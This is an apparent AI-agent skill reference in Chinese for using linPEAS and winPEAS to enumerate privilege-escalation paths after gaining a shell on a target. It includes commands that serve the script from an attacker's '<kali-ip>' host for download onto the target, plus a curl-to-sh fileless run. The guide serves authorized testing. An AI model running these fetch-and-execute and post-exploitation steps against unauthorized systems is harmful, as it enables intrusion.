x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/post-exploitation/tools/linpeas.md
View on GitHub# linPEAS
- **Category**: Post-Exploitation / Privilege Escalation Enumeration
- **Risk Level**: 🟢 Low
---
## 描述
PEASS-ng(Privilege Escalation Awesome Scripts Suite)的核心工具:
- **linPEAS**:Linux/Mac 提权枚举脚本,颜色标注发现的可利用项
- **winPEAS**:Windows 提权枚举(.exe 或 .bat 版本)
获得 shell 后第一步必跑的工具,自动化检查数百个提权向量,红色输出表示高置信度可利用项。
## 安装
```bash
# Kali apt 安装(推荐,包含 linpeas + winpeas)
sudo apt install peass
# 预安装路径:/usr/share/peass/
# 或从 GitHub 下载最新版
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe
# 32位 Windows:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe -o /tmp/winpeas32.exe
```
## 参数说明
### 关键输出解读
| 参数 | 说明 |
|------|------|
| 红底/红字 | 高置信度可利用的权限提升路径 |
| 黄色 | 值得关注,需进一步分析 |
| 绿色 | 已正确配置的安全项 |
| 蓝色 | 无 shell 的用户及挂载设备 |
### 重点关注项
```text
# Linux
- Sudo 权限(sudo -l)
- SUID/SGID 文件
- 可写的 /etc/passwd
- 可利用的 cron job
- 内核版本(CVE 查询)
- Docker/LXC 逃逸机会
- PATH 注入
- NFS no_root_squash
# Windows
- AlwaysInstallElevated
- Unquoted Service Path
- 弱权限服务/注册表
- 可利用的计划任务
- 明文密码(配置文件)
- 未打补丁的系统
```
## 常用命令
### linPEAS 命令
```bash
# 传输到目标(从 Kali 发起)
scp /tmp/linpeas.sh user@target:/tmp/
# 或通过 python HTTP server
python3 -m http.server 8080 # Kali 上
wget http://<kali-ip>:8080/linpeas.sh -O /tmp/linpeas.sh # 目标上
# 执行并保存输出
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt
# 快速执行(无需落地,仅在能访问公网时)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# 只做某类检查(减少运行时间)
/tmp/linpeas.sh -o system_information,software_information # 系统信息+可用软件
# -o 完整类别:system_information,container,cloud,procs_crons_timers_srvcs_sockets,
# network_information,users_information,software_information,
# interesting_files,api_keys_regex
```
### winPEAS 常用命令(Windows)
```powershell
# 上传后执行
.\winPEAS.exe
# 输出到文件
.\winPEAS.exe > C:\temp\winpeas_output.txt
# 指定检查类别
.\winPEAS.exe systeminfo userinfo processinfo servicesinfo applicationsinfo networkinfo
# bat 版本(无需编译,兼容性更好)
.\winPEAS.bat > C:\temp\output.txt
```
## 注意事项
1. linPEAS 按置信度为发现项着色——红色/品红色背景表示高置信度可利用路径,优先处理这些项。
2. 务必将输出重定向到文件(`tee /tmp/linpeas_output.txt`)——完整扫描需要几分钟,输出内容非常庞大。
3. 时间有限或想减少噪声时,使用 `-o` 参数仅运行特定检测类别。
4. 无需落地文件的执行方式(通过 curl 直接管道执行):`curl -L <url> | sh`——仅适用于可访问互联网的目标。
5. PEASS-ng 频繁更新——请下载最新版本以获取当前 CVE 检测;旧版本会遗漏近期内核和软件漏洞。
---
## 官方参考
- [PEASS-ng(GitHub)](https://github.com/peass-ng/PEASS-ng)
- [linPEAS(GitHub)](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |